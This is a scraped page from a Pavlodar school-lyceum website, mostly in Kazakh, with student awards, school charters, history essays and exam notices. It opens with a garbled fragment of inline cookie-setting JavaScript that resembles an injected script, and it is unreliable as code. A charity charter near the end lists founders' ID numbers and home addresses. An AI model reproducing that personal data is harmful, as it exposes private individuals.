// <![CDATA[ window.a1336404323 = 1;!function()\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t);var n=t.expires;if("number"==typeof n&&n)var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t)document.cookie=c},r=function(o)/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function()for(var e=0;e

АЛЫБАЕВ АЗАМАТ Алыбаев Азамат №20 лицей-мектебінің 10 К сынып оқушысы, республикалық кикбоксинг чемпионатының (I орын) жүлдегері, Семей қаласында Ашық кубок кикбоксинг бойынша (II орын) жүлдегері,Ашық қалалық (2014-2015 о.ж) бокс турнирының 1998-1999 т.ж жасөспірімдері аралығында (II орын)жүлдегері , Е.П.Ужгин ескерттілігіне арналған Ашық облыстық бокс турнирінде (III орын) жүлдегері. ОСПАНОВА ДАЛИДА Оспанова Далида - 10 К сынып оқушысы. (III орын) «Күзгі демалыс» турнирінде 1998 – 2000 ж.т. қыздар арасындағы,салмағы 55кг. қалалық самбо күресінің жүлдегері, (II орын) қалалық дзюдо турнирінің жүлдегері, қалалық оқушылар ғылыми жобаларының «Жас ғалым»номинациясы дипломының иегері. ҚАЙЫРБЕК БАУЫРЖАН Қайырбек Бауыржан – 9 А сынып оқушысы, шахмат бойынша Павлодар облысының чемпионы. КОРЯК ВАЛЕРИЯ 8А сынып оқушысы, қалалық көркем гимнастика (2015ж.ІІ орын), турнирының жүлдегері, Қазақстан Республикасының чемпионаты Талды-курган қаласында (2014ж.ІІІ орын),көркем гимнастикадан Астана қаласында, халықаралық сайыста (2014ж.ІІІ орын). КОНДРАТЬЕВА ЕКАТЕРИНА 8А сынып оқушысы, Москва қаласында (2015ж.І орын) «Юные звезды»атты хореографиялық фестиваль жеңімпазы, Италияда (2014ж.І орын), «Под солнцем Италии» атты хореографиялық фестивальда, Астана қаласында ( 2015ж.Іорын), «Дельфийские игры» атты...

«Павлодар қаласының № 20 лицей - мектебі» мемлекеттік мекемесінің Жарғысы 1. Жалпы ережелер 1.«Павлодар қаласының № 20 лицей – мектебi» мемлекеттiк мекемесi (бұдан әрi - Мемлекеттiк мекеме) заңды тұлға мәртебесі бар, мемлекеттік мекеменің ұйымдастырушылық-құқықтық нысанында бiлiм беру, тәрбиелеу мiндеттерiн іске асыру үшiн құрылған коммерциялық емес ұйым болып табылады. 2. Мемлекеттік мекеменің түрі: коммуналдық мемлекеттік мекеме. 3. Мемлекеттік мекеме Павлодар облысы әкімдігі 2002 жылғы «_20_» қарашадағы (Павлодар облысы әкімдігінің «Павлодар қаласының №20 лицей-мектебі» мемлекеттік мекемесін құру туралы қаулысы) шешімімен құрылды. 4. Мемлекеттiк мекеменiң құрылтайшысы жергілікті атқарушы орган - Павлодар қаласының әкімдігі болып табылады. 5. Мемлекеттік мекемеге қатысты коммуналдық меншік құқығы субьектісінің құқығын құрылтайшысы болып табылатын жергілікті атқарушы орган – Павлодар қаласының әкімдігі жүзеге асырады. 6. «Павлодар қаласы білім беру бөлімі» мемлекеттік мекемесі Мемлекеттік мекемені басқаруды жүзеге асыратын орган (бұдан әрі – Басқару органы) болып табылады. 7.Мемлекеттiк мекеменiң мемлекеттік тілдегі фирмалық атауы: «Павлодар қаласының №20 лицей-мектебі» мемлекеттік мекемесі. Мемлекеттік мекеменің орыс тіліндегі фирмалық атауы: государственное учреждение «Школа-лицей № 20 города Павлодара». 8. Мемлекеттiк...

Мектеп тәжірибесіндегі негізгі методология Методологиялық тірек негізінде білім мекемесінің функционалдығы үшін келесі үшбірлік жалпы жүйесі қолданылады: Білім мақсаты – бұл түлектер тұлғасының моделі; Жетістік негізінің мақсаты – бұл ОТҮ жалпы құрылымы; Жағдайы- бұл мұғалімнің кәсібилігі. Білім мекемесінің типі Қазақстанда жалпы орта білім беру екі бұтақ - мектеп және қосымша білім беру түрінде ұсынылады. Мектептер, өз кезегінде таңдаулы және жалпы білім беретін болып бөлінеді. Таңдаулылар құрамына гимназия, лицей, дарынды балаларға арналған мамандандырылған мекеме жатады. Дарындылық феномені барлық мектепке қатысты, әсіресе таңдаулыларға. Таңдаулы білім беру мекемесінің өзіндік Концепция жобасы «Қазақстанда дарынды балаларды оқыту және тәрбиелеу, зерттеу бойынша іс- әрекетті дамыту стратегиясын анықтау негізгі құжат болып табылады». Осы құжаттың көптеген идеялары біздің құжаттарда қолданылады. Сонымен, №20 лицей екі бағыттағы мектеп санатындағы лицей типті таңдаулы мектеп болып саналады: - бір жағынан, бұл инновациялық типтегі жалпы білім беретін мектеп, яғни жоғары деңгейде білім беретін мектеп; - екінші жағынан- бұл лицей, нақты ЖОО нақты мамандықтар дайындайтын мақсатты білімді жүзеге асырушы. Мұндай лицейлер жоғары оқу мекемелері жанынан ашылады және оған болашақ студенттер контингентін даярлайды. Біздің №20 лицей...

№20 лицей -мектебінің эмблемасы Бұл мектеп-ол көп қырлы жаратылыстану- математикалық бағытындағы лицей, еліміздің ең үздік жоғарғы оқу орнына және шет елдерге мамандығы бойынша оқуға түсуге түлектерге мүмкіншілік туғызатын оқу орны болып есептеледі. Оқу орнының негізгі қызметі мектеп белгісінің негізгі символы - түбір астындағы математикалық белгі және астындағы әріптер ол ЖМЛ (жаратылыстану-математикалық ) іс- әрекет деген мағынаны білдіреді.Үш бұрыш тегін алынбаған,себебі біліктіліктің үш кілтін білдіретін үш бұрыш ол нышан белгісін,лицей білімінің қалыптасуының бағыты екендігін көрсетеді. - Кеңістіктің жоғары бұрышындағы дауыстағыш рупор жиыны лицей түлектерінің жан- жақты коммуникативтік біліктілігін білдіретін және келешектегі барлық жетістіктерін адам және маман ретінде бейнелейді: - Сол жақтағы ағылшынша i әрпі ақпаратпен байланысты іс- әрекетінің мүмкіндігін және ақпараттан бастап ақпараттық мәдени жеке тұлға (ақпаратты біліктілік) ретінде байланыстылығын ашады. - оң жақтағы үшінші кілтті біліктіліктің мағынасы - қабылданған шешімнің , өзіндік менеджменттілігін суреттейді. Оптимальды мінез- құлық сайлау негізінде шығармашылық ұсынылады, қоршаған ортаны келісіммен қарсы алу ережесі ретінде міндетті түрде леп белгілердің асты сызылады. - Ең соңында, лицей түлектерінің және барлық азаматтылығын білдіретін түрлі- түсті...

Ағылшын тілінен халықаралық олимпиада саласының “Инфоурок” жобасына Павлодар қаласының № 20 лицей-мектебінің 10 оқушысы қатысты. I орын - Тулешова Г. -11 М , Смайлов Т.-11 М., Вареник Е.- 9 А , Алыбаев А.- 9 К , Зейнулла М.- 9 К, Калтай А.- 8 К , Жумабаева А.- 8 К, II орын - Калиаскар А.-10 А , III орын - Висман Э. – 10 А сынып оқушылары алды. Осы оқушылар сертификаты арқылы «Тайны познания» (36сағат) курста тегін оқу мүмкіншілігіне ие болды. Оқушыларды дайындаған мұғалім, Ж.М.Нурмахановаға, Инфоурок сайтына белсенді қатысқан үшін алғыс жарияланып және жеңімпаздарды дайындаған куәлік берілді.  

"Подвиг этот, будет в памяти жить Давай, девятого, помянем их, Кого сегодня нет уже в живых… Кто так и не вернулся в сорок пятом, Оставшись в нашей памяти солдатом… И тех, вернулся кто, но вскорости ушёл — На свете том пристанище нашел… Виной всему — жестокая война, Дающая посмертно ордена, Изранившая души и тела, Принесшая живому столько зла!!! Защитники! Вас свято будем чтить, И годы страшные те в памяти хранить, Ведь благодарные потомки и страна Своих героев не забудут имена!!! Розбицкая Наталья Великая отечественная война 1941-1945 г Великая Отечественная война – это, пожалуй, самое крупнейшее событие XX столетия. Она смогла определить дальнейшую судьбу многих людей, самых разных национальностей и вероисповеданий. Вопросы, связанные с ее предысторией, причинами, характером, периодизацией и итогами были и продолжают оставаться самыми актуальными на дискуссиях в политических и научных кругах. Если же говорить об общественном мнении, то оно также не стоит на месте, и каждый год обрастает все новыми гипотезами. На нашем сайте мы постарались осветить все стороны Великой Отечественной войны, что называется, от начала и до конца. Ни для кого не секрет, что война длилась чуть более 4 лет. При этом, мало, кто знает точное число убитых и пропавших без вести, а ведь потери среди советских солдат и мирных жителей составили...

Қазақстан территориясында мемлекеттік құрылымдар монғол шапқыншылығына дейін болған.VI-VII ғасырларда Қазақстанның оңтүстігінде ерте феодалдық мемлекет Батыс-Түрік қағанаты құрылып, кейін, X ғасырда Қарахан феодалдық мемлекеті Қарлұқтар (VIII-IX ғ.) пайда болды. X ғасырда Қазақстанның солтүстігінде Қимақтар мемлекеті құрылды, кейін Қыпшақтар аталған. Монғол шапқыншылығынан кейін сол кездегі мемлекеттік құрылымдар жойылды.Қазақ жері Шыңғысхан ұлыстарына бөлінді. Жошы мен Шағатай, Темір шабуылдары егін-шаруашылық, қоғамдық-экономикалық, патриархаттық-феодалдық тәртіпті баяулатты. Алайда, XIV-XV ғасырларда Қазақстан территориясында болған әлеуметтік-экономикалық, және этносаясаттық процестер Қазақ хандығының құрылуына әкелді. XV ғасырдың екінші жартысында құрылған хандықтар Алтын Орда, оған жақын мемлекеттік құрылымдардан айырмашылығы – олар жаугершілік нәтижесінде емес, жергілікті экономикалық және этникалық негізде пайда болған. XV ғасырда Әбілхайыр хандығы құрамына Сырдариядан Сібір хандығына дейін ауқымды территория кірген. Хандық «көшпелі өзбек» аталса да, негізгі тұрғындары қазақтар болған. Бұл кезде Өзбек хандығында жошы мен шайбани ұрпақтарының арасында әулеттік күрес өршіп кетті. Шайбани әулетінің көсемі Әбілхайыр хан жауы жошы әулетіне күн көрсетпеді. XV ғасырдың 50-60 жылдары Ұрұс ханның ұрпағы, Ақ Орда билеушісі Барақ...

Қазақ халқының пайда болу тарихын екі топқа бөлуге болады: лексикалық және антропологиялық. Бірінші кезеңі шаруашылық, мәдениеттік дәстүрлермен, этникалық бірлесумен, нәсілдік құралумен айқындалады. Қола дәуірінің андронов мәдениеті кең таралған. XV-XVI ғасырларда қазақ халқы мен оның этникалық территориясының көп ғасырлы қалыптасу процесі аяқталды. Қазақстандағы этникалық процестердің шешуші кезеңі біздің дәуіріміздегі 1-мыңжылдық ортасында түріктердің жаппай қоныстануымен байланысты.Монғол империясының құрылуы және ұлыстардың қалыптасуымен тайпалар мен халықтың ықпалдастығы жеделдеді. XV-XVI ғасырлардың 2-ші жартысында қазақ халқының негізгі этникалық топтарының, этникалық территорияларының мемлекеттік бірлесуі қазақ халқының қалыптасу процесінің аяқталуын жылдамдатты. Монғол шапқыншылығы қазақ халқының құрылу процесіне бөгет жасады, бірақ тоқтата алған жоқ. Шаруашылық өмірі қалыптасып, шығуы, тектік, тілдік, материалдық және рухани мәдениеті ортақ тайпалар қарым-қатынасы нығая бастады.Қазақ халқының бірігуі этникалық тұтас территориялардың қалыптасуымен қатар жүрді. Әртүрлі этно саяси, шаруашылық, географиялық факторлардың әсер етуінен Қазақстан территориясында үш этно территориялық бірлестіктер пайда болды. Ол Ұлы жүз, Орта жүз, Кіші жүз. Олардың қалыптасуына географиялық, саяси, экономикалық факторлар әсер етті. Қазақ –...

Қазақ халқының пайда болуын зерттеу нәтижесіндегі негізгі аспектілері лингвистикалық және антропологиялық. Осы тұрғыдан көне тарихты үндіевропалық және түркі кезеңдеріне бөлуге болады. Біздің дәуірімізге дейінгі III-I мыңжылдықтарда Қазақстан өзінің шаруашылық, мәдени дәстүрі, лингвистикалық қатынасы бойынша индоевропалық топтың көне ирандық тармағына жатқан.Археология, этнография, топонимика, палеоантропология зерттеу нәтижелері көрсеткендей, қола және ерте темір дәуірінде қазақ тайпалары мен руларының мәдени дәстүрі, этникалық дамуы, лингвистикалық туыстығы негізінде Қазақ халқының, келешек тайпалар мен тайпалар одағының мәдени-тарихи ортақтастығының қалыптасу процесінің алғашқы патриархаттық базасы пайда болған. Біздің дәуіріміздегі 1 мыңжылдықтың басы Еуразияның көптеген бөлігі, оның ішінде Қазақстан, Орта Азия үшін түркі тілдес Көшпелі бірлестіктерден құрылған этногенетикалық дамудың жаңа сатысы болды.15-16 ғасырларда қазақ халқының қалыптасуы және этникалық территориясын анықтаудың көпғасырлық процесі аяқталды.Қазіргі заманғы қазақтарды сипаттайтын келбет автохондық европалық және монғолдық екі нәсілдің күрделі ықпалдасуы негізінде 14-15 ғасырларда қалыптасқан. Осының бәрі қазақ халқының антропологиялық құрамының біртұтастығын құрайды. «Қазақ» этнонимінің шығу тарихы көптеген аңыздарда сақталған, әлі күнге дейін пікірталас...

МЕКТЕП БІТІРУШІЛЕРГЕ ЕМТИХАН МАТЕРИАЛДАРЫМЕН ЖҰМЫС ІСТЕУ БОЙЫНША ЖАДЫНАМА. Ұлттық бірыңғай тестілеу кошіріпалу МЕКТЕП БІТІРУШІНІҢ ЖАДЫНАМАСЫ. Ұлттық бірыңғай тестілеу кошіріпалу ЖАДЫНАМА. Ұлттық бірыңғай тестілеу нәтижелері бойынша апелляцияға өтініш беру және қарастыру рәсімі кошіріпалу Павлодар қаласының №20 лицей-мектебінің 2013-2014 оқу жылының ҰБТ-ға дайындалуы мен өткізуін ұйымдастыру жоспары кошіріпалу №1-03/110 бұйрық 11 сынып оқушыларының ҰБТ-ға дайындығы туралы кошіріпалу ҰБТ туралы ақпарат. Р.Т.Сулейман кошіріпалу Ұлттық бірыңғай тестілеуді өткізу қағидалары 2013ж кошіріпалу ҰБТ-ге арналған кеңестер. Сулейман Р.Т. кошіріпалу Сенің болашақ мамандығың бағдаралды мамандық кошіріпалу Кәсіптер рейтингісі кошіріпалу Талапкерге арналған 10 кеңес кошіріпалу ҰБТ үшін кеңестер түлектер үшін кошіріпалу Барлық мамандықтар бойынша грантқа орташа ұпай (қазақ және орыс тілдердің ұпайын санамай) кошіріпалу ҰБТ туралы ескертпелер. ҰБТ ережесінен кошіріпалу ҰБТ- ге дайындық бойынша консультациялар кестесі 2 - тоқсан кошіріпалу 2011ж ҰБТ өткізуді ұйымдастыру туралы кошіріпалу

«Мектепке жол» акциясы «Мектепке жол» акциясы 2014-08-03 07:33:53 кошіріпалу Жақсылық жаса 2 флаер 2013-08-19 10:18:03 кошіріпалу Жақсылық жаса 1 флаер 2013-08-19 10:16:52 кошіріпалу Сізді "Мектепке жол" қайырымдылық акциясының қатысушысы болуға шақырамыз плакат 2013-08-19 10:13:57 кошіріпалу Балаларды қорлау желісі листовка 2013-08-19 10:11:52 кошіріпалу План мероприятий по проведению в школе-лицее № 20 с 1 августа по 30 сентября 2013 года общереспубликанской акции «Дорога в школу» под девизом «Вместе мы создаем наше будущее!» 2013-08-19 09:53:16 кошіріпалу

Республикалық қоғамдық бірлестігі «Жас Ұлан» Туы Материал:атлас,екі қабатталған ту Өлшемі :1x2, (100 см х 200 см) Бейнеленуі:бір жағының ортасында, диаметр - 70 см Көмкерілген: алтын түстес бахрома Безендіру әдісі: жібек трафоретті мөр Бояулары : пластизовалық, күн сәулесіне және атмосфералық әсерге тұрақты, жанбайды «Жас Ұлан» төсбелгісі Республикалық бірыңғай «Жас Ұлан» балалар мен жасөспірімдер ұйымы мүшелерінің АНТЫ   Лозунги   Текст гимна   Гимн   Структура  

Оқушылардың өзін- өзі басқару ұйымы туралы жалпы жаднамасы Оқушылардың өзін- өзі басқаруы – оқушылардың ұжымдық іс- әрекеттерін ұйымдастыру формасы, олардың өздігінен дамуына , қоғамдық маңызды мақсаттарға жету үшін шешімдерді қабылдауға және жүзеге асыруын қамтамасыз етеді. Өзін- өзі басқару – оқушылардың ұйымдастыру қабілетін және өз- ара қарым- қатынас пен жауапкершілікті сезінуі, өз өмірінің шығармашылығын жетілдіру, өзіндік пікір қалыптастыру негізінде мектеп ұжымының өмірлік іс- әрекеттерін басқару. Тәрбие- бұл балалар өмірінде мерекелік іс- шаралар емес, негізгі ұйымдастыру түріне тәрбиелеу- балалардың өздігінен оқуына байланысты өзін- өзі басқару,адамдармен іскерлік қарым- қатынас жасай білуі, өз ісіне жауап беру және шешім шығара алуға дайын болу. Мектеп өміріндегі әр сынып өзін- өзі басқарудың дамыту жүйесін жүзеге асыру негізгі шарты болып табылады, сынып ұжымының өзін- өзі басқару ұйымы жұмысын бір бағыт бойынша, орталықтандырылған басшылық бойынша қамтамасыз етіледі. Мектепішілік өзін- өзі басқару ұйымының негізгі мақсаты сынып ұжымымен әр түрлі іс –әрекеттер ұйымдастыру болып табылады: қоғамдық, оқу, еңбек, мәдени, спорттық- туристік. Әлеуметтік- педагогикалық міндет оқушылардың өзін- өзі басқаруын дамытудың өзектілігі болып табылады. Мектеп ісін басқаруға оқушылардың қатысуы- бұл балаларды демократияға...

Құқықтық тәрбие адам өміріне тұлғалық құқықтық сананы мақсатқа бағытталған , ұйымдастырылған, жүйелі сана –сезімін қалыптастырады. Тәрбие санағы өтіп, азаматтардың құқықтың мәдениетін жүйеге келтіреді. Құқықтық тәрбиені дұрыс ұйымдастыру үшін, ең алдымен, құқықтың тәрбиенің не екенін түсінген абзал. Айта кету керек, «құқықтық тәрбие» деген ұғымның ортақ термині жоқ. Біреулер құқықтық тәрбие деп құқықтық білімді түсінеді және бұл білімді оқытуды қажет деп қалыптастырады. Басқалар құқықтық тәрбие – құқыққа , заңға деген құрмет, сонымен қатар құқықтық нормаларды орындаудағы дағды деп түсінеді.Үшіншілер құқықтық тәрбиеде тәрбиешінің мақсатқа бағытталған іс –әрекетін болашақ ұрпақтың бойында белгілі бір көзқарасты, қажеттіліктер мен кызығушылықтарды, құнды бағдарлаулар мен тәртіптің қондырысын қалыптастырады. Сонда да құқықтық тәрбиені мазмұны құқықтық ағартушылық болатын тиімді және жан- жақты процесс ретінде қарастырған жөн Бірақ тәрбиешінің құқық, заң, құқықтық іс-әрекет жөніндегі білімін байыту ғана емес, сонымен қатар құқықтық нормаларға сай адамның өзін-өзі жетілдіруге арналған , тәрбиеленеуші тұлғаның сана- сезіміне әсер ету. Саади айтқандай, «Кімде кім ғылымға үйреніп, оны қолданбаса, сол жерді жыртқанмен, екпегенге ұқсайды» Құқықтық тәрбиенің маңызды құрамды бөлігі –құқыққа, заңға деген сый-құрметті қалыптастыруды, оның...

Саламатты өмір салты (СӨС) – бұл өзінің денсаулығын жақсарту жолындағы жеке нақты жұмыс, аурудың алдын алу мақсатында және өмір сүрудің сапасын жақсарту. Саламатты өмір салтын сақтау көмегімен адам өзінің өмірін ұзартады және өзінің әлеуметтік қызметін орындайды. СӨС әсіресе соңғы уақыттағы кезеңнің алға қарыштауына байланысты және адамдардың денсаулығының қолайсыз жағдайларын анықтайды, қоғамның қиындық жағдайдағы құрылысына байланысты, техногендік жоғарылауына, экологиялық, психологиялық, саяси және әскери әсерін, өзекті мәселелерді қамтиды. Саламатты өмір салтын қоғамдық өмірде және бос уақытта, тұрмыстық жағдайда, отбасында, еңбекте тиімді ұйымдастыру қажет. Өмірде саламатты өмір салтының негізгі компоненттері мынадай: 1. Тиімді тамақтану. 2. Жүйелі физикалық жүктеме 3. Жеке бастың гигиенасы 4. Организмді шынықтыру 5. Зиянды әдеттерден бас тарту.

Қоғамдық қордың ЖАРҒЫСЫ «Шапағат» қайырымдылық қоры» 1. Жалпы ережелер 1.1.Аталмыш Жарғы Қазақстан Республикасының заңнамасына сәйкес әзірленген және «Шапағат» қайырымдылық қордың негізі міндеттерін, құқықтары мен заң мәртебесін белгілейді (бұдан былай мәтін бойынша Қор). 1.2.Қордың түрі - қоғамдық. 1.3.Бұл Жарғы Қазақстан Республикасының Ата заңына, Қазақстан Республикасының Азаматтық Кодексіне, Қазақстан Республикасының «Коммерциялық емес ұйымдар туралы» және басқа да заңнамалық актілерді өз қызметінде басшылық алады. 1.4.Қордың құрылтайшылары: -Кожаханова Ажар Жастлековна, жеке куәлігі № 004924303, 19.05.1998 ж. ҚР ӘМ берілді, мына мекенжайда тұрады: Қазақстан Республикасы, 140000, Павлодар обласы, Павлодар қаласы, Камзин көшесі,62-225. -Кожанова Сауле Васильевна, жеке куәлігі № 017802495, 27.04.2005 ж. ҚР ӘМ берілді, мына мекенжайда тұрады: Қазақстан Республикасы, 140000, Павлодар қаласы, Исиналиев көшесі, 30-15. -Махмутжанов Абдималик Абилпаттаевич, жеке куәлігі № 030083392, 04.06.2010 ж. ҚР ӘМ берілді, мына мекенжайда тұрады: Қазақстан Республикасы, 140000, Павлодар қаласы, Короленко көшесі, 7- 32. 1.5.Толық атауы: «Шапағат» қайырымдылық қоры. 1.6.Қысқаша атауы: «Шапағат» қайырымдылық қоры» ҚҚ. 1.7.Қордың заңды мекенжайы: Қазақстан Республикасы, 140000, Павлодар облысы, Павлодар қаласы, Генерал Дюсенов көшесі, 72....

Назар аударыңыздар! 2016-2017 оқу жылына оқушыларды қабылдау! кошіріпалу Павлодар қ. жалпы орта білім беру мектептерінің оқушыларына арналған ғылыми үйірмелер тізбесі кошіріпалу Инновациялық жобалар конкурсы кошіріпалу «Білім мен ғылым интеграциясы – болашаққа нық қадам» атты XL ғылыми-практикалық конференция. Ақпараттық хат кошіріпалу набор учащихся казжүктеунабор учащихся(кз) (1)жүктеу